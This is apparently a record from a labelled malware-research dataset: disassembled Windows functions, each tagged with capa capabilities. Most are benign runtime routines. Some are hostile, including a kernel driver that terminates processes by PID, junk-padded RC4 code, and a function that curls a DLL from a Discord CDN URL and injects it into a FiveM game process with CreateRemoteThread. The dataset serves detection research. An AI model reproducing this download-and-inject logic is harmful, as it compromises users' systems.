joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401eb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x004c8624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x402038
mov rax, qword [0x004c8628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401efc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401f85
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401ee0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x40206d
mov rax, qword [0x004c8628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x004c8628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402050
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401f7e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401fe0
add dword [0x004c8624], 1
cmp edi, 8
jae 0x401fb3
test dil, 4
jne 0x402024
test edi, edi
je 0x401fa8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40203f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401fa8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401fcc
jmp 0x401fa8
add rsi, qword [0x004c8628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401f7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401fa8
xor esi, esi
jmp 0x401f07
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401fa8
mov rax, qword [0x004c8628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x4027c0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004c8900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004c88e0]
test rbx, rbx
je 0x402814
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40280b
test rsi, rsi
je 0x40280b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4027f0
lea rcx, [0x004c8900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402a50
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402a60
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402a70
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402ab1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402aa8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402ab3
add rax, 0x28
cmp rax, r9
jne 0x402a94
xor eax, eax
ret

Function at 0x402b50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004c5e00]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402bbd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402bbd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402bbd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402bb4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402bbf
add rax, 0x28
cmp rax, r9
jne 0x402ba0
xor eax, eax
add rsp, 0x28
ret

Function at 0x402cc0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004c5e00]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402ce0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402cd8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402d3d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402d34
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402d44
add rax, 0x28
cmp rax, r9
jne 0x402d20
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402d60
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004c5e00]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402dce
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402dce
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402dce
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402dce
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402dc5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402dd5
add rcx, 0x28
cmp rcx, rax
jne 0x402db0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402de8
jmp 0x402dce
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402df6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402dce
test r9d, r9d
jg 0x402de0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x403070
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x180002100
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
jl 0x180002141
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x20]
call fcn.180001cb0
add rsp, 0x38
ret

Function at 0x180002380
Capabilities:
Register minifilter driver
Start minifilter driver

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x48]
call fcn.180002160
mov dword [rsp + 0x20], 0xc0000001
lea r8, [0x18008ee90]
lea rdx, [0x1800088e0]
mov rcx, qword [rsp + 0x40]
call sub.FLTMGR.SYS_FltRegisterFilter
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jl 0x1800023e6
mov rcx, qword [0x18008ee90]
call sub.FLTMGR.SYS_FltStartFiltering
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jge 0x1800023e6
mov rcx, qword [0x18008ee90]
call sub.FLTMGR.SYS_FltUnregisterFilter
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x180003cf0
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov dword [rsp + 0x50], 0xc0000001
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x180003d30
jmp 0x180003d88
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10000000
xor r8d, r8d
mov edx, 0x200
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntoskrnl.exe_ObOpenObjectByPointer]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x180003d6e
jmp 0x180003d88
mov edx, 0xc000000d
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_ZwTerminateProcess]
mov dword [rsp + 0x50], eax
xor eax, eax
test eax, eax
jne 0x180003d13
cmp qword [rsp + 0x40], 0
je 0x180003d9b
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
cmp qword [rsp + 0x48], 0
je 0x180003dae
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, dword [rsp + 0x50]
add rsp, 0x68
ret

Function at 0x180004000
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
mov byte [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x38], 0
lea rdi, [rsp + 0x3c]
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rsp + 0x44], 0
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x18000406a
cmp qword [rsp + 0x30], 0
je 0x18000406a
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x68], rax
je 0x180004071
mov byte [rsp + 0x40], 1
jmp 0x18000409f
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_KeWaitForSingleObject]
test eax, eax
jne 0x180004099
mov byte [rsp + 0x40], 1
jmp 0x18000409f
xor eax, eax
test eax, eax
jne 0x18000403b
cmp qword [rsp + 0x30], 0
je 0x1800040b2
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov al, byte [rsp + 0x40]
add rsp, 0x50
pop rdi
ret
Function at 0x180004960
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax]
cmp eax, 0xe
jne 0x1800049e3
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x38], eax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x10]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 8]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x58]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x30], rax
mov r9d, dword [rsp + 0x24]
lea r8, [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x38]
call fcn.180004a50
mov dword [rsp + 0x20], eax
mov ecx, dword [rsp + 0x24]
mov rax, qword [rsp + 0x58]
mov qword [rax + 0x38], rcx
mov rcx, qword [rsp + 0x58]
mov eax, dword [rsp + 0x20]
mov dword [rcx + 0x30], eax
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
mov eax, dword [rsp + 0x20]
add rsp, 0x48
ret
Function at 0x180006a00
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x50]
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx]
call qword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
add rsp, 0x38
ret

Function at 0x180006c50
Capabilities:
Create thread

Disassembly:
sub rsp, 0x58
movzx eax, byte [0x18008ee84]
cmp eax, 1
jne 0x180006c94
mov qword [rsp + 0x30], 0
lea rax, [0x180006ce0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
add rsp, 0x58
ret
Function at 0x180007510
Capabilities:
Find process by pid

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x88
mov byte [rsp + 0x58], 0
mov dword [rsp + 0x68], 0xc0000001
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x60], 0
cmp qword [rsp + 0xb0], 0
je 0x180007572
cmp dword [rsp + 0xb8], 0
jne 0x180007577
jmp 0x1800076a8
mov ecx, dword [rsp + 0xa0]
lea rdx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0
jge 0x180007599
jmp 0x1800076a8
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10000000
xor r8d, r8d
mov edx, 0x200
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_ObOpenObjectByPointer]
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0
je 0x1800075da
jmp 0x1800076a8
mov eax, dword [rsp + 0xb8]
mov qword [rsp + 0x60], rax
mov r8d, 0x71756572
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x18000760b
jmp 0x1800076a8
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x6c], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x40]
mov r8d, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x48]
call fcn.180007420
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0
jge 0x180007659
jmp 0x1800076a8
mov r8d, 1
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.ntoskrnl.exe_ProbeForWrite]
mov rdi, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
rep movsb byte [rdi], byte [rsi]
jmp 0x180007690
cmp dword [rsp + 0x74], 0
jge 0x180007699
jmp 0x1800076a8
mov byte [rsp + 0x58], 1
xor eax, eax
test eax, eax
jne 0x18000755d
cmp qword [rsp + 0x40], 0
je 0x1800076c6
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov qword [rsp + 0x40], 0
cmp qword [rsp + 0x48], 0
je 0x1800076d9
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
cmp qword [rsp + 0x50], 0
je 0x1800076ec
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov al, byte [rsp + 0x58]
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x18026d4cb
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
inc r10b
and bx, r11w
mov qword [rsp + 0x10], rdi
shr bl, 0xd
sub edi, edi
movsx r11, di
cmovge r10w, si
movzx ebx, r8b
xchg r9b, r8b
cmovae r9, rax
mov r11, rcx
cmova r8d, r12d
mov r10b, r15b
movzx r10, di
mov r8, rdi
bswap r9d
movsx r10, di
mov r10d, esp
nop
movzx r9d, byte [r11]
movzx r10d, byte [rdx]
jmp 0x18026d51e
inc r11
jmp 0x18026d526
inc rdx
test bl, bl
jmp 0x18026d530
je 0x18026d55e
mov ecx, r8d
btc ax, 0xe3
mov eax, 0x7111ec2
clc
stc
rol eax, cl
cmp bpl, 0xad
cmp bx, r8w
cmc
add al, r8b
test r8w, sp
clc
xor r9b, al
inc r8
test r9b, r9b
jmp 0x18026d566
je 0x18026d57a
cmp r9b, r10b
jmp 0x18026d574
je 0x18026d511
cmp r9b, r10b
jae 0x18026d59d
or eax, 0xffffffff
movsxd rbx, esp
mov bx, 0x2b1f
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
jmp 0x18026d59c
ret
mov rbx, qword [rsp + 8]
seta dil
not al
movsxd rax, eax
mov eax, edi
mov di, 0x25c5
not dil
mov rdi, qword [rsp + 0x10]
jmp 0x18026d5be
ret
Function at 0x140002d40
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x178
mov rax, qword [0x140034040]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov dword [rsp + 0x20], 0
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x140002dd0
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140002dd0
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x5c]
call fcn.14000e288
test eax, eax
jne 0x140002dbc
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x20], eax
jmp 0x140002dd0
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140002d9c
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140007a80
add rsp, 0x178
ret
Function at 0x140002e00
Capabilities:
Create thread
Inject thread
Set console window title

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x88
lea rcx, [0x14002f39f]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, [0x14002f494]
call fcn.14000e068
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1153316528742207558_1155890241618591854_d3d10.dll___output__localappdata_FiveMFiveM.apppluginsd3d10.dll__nul_2_1
call fcn.14000e068
lea rdx, [0x14002f54c]
lea rcx, [0x1400352f0]
call fcn.1400040f0
lea rax, [0x14002f3a3]
mov qword [rsp + 0x58], rax
lea rax, str.FiveM_b2802_GTAProcess.exe
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x40], 0
cmp dword [rsp + 0x40], 0
jne 0x140002e8a
mov rcx, qword [rsp + 0x70]
call fcn.140002d40
mov dword [rsp + 0x40], eax
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002e68
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140002f7a
cmp qword [rsp + 0x48], 0xffffffffffffffff
je 0x140002f7a
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x50], 0xffffffffffffffff
inc qword [rsp + 0x50]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
cmp byte [rax + rcx], 0
jne 0x140002ef2
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
je 0x140002f7a
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x48], 0
je 0x140002f8d
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x88
ret
Function at 0x1400068d4
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140006902
xor eax, eax
jmp 0x1400069e8
cmp qword [rcx + 0x68], 0
je 0x140006913
call fcn.140006a04
jmp 0x1400069e8
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000692a
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000692c
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000695e
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1400099d0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x1400069e2
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140006995
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x1400069be
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14000f60c
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x1400069e2
cmp rsi, rbx
ja 0x14000699c
test rsi, rsi
je 0x1400069e2
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000f60c
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1400088a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400088f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400088f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400088f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400088f2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400088f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400088f4
xor al, al
add rsp, 0x28
ret

Function at 0x140012174
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140011f70
Function at 0x1400189bc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400080e0
sub rsp, rax
mov rax, qword [0x140034040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140014da0
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140018a0b
mov rax, rbp
jmp 0x140018b13
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x36230]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140019adc
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x36230]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140018b0f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140018b0f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140019adc
test rax, rax
js 0x140018b0f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140018b0f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140018b01
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140018b01
cmp byte [rcx], 0xd
jne 0x140018ae7
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140018af6
cmp byte [rcx + 1], 0xa
jne 0x140018af6
inc rcx
jmp 0x140018af6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x34430]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140018ac9
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140018b13
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140007a80
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140018d34
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140018d4a
mov al, 1
jmp 0x140018daa
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140018d5b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140018da8
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001d5c8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140018da8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
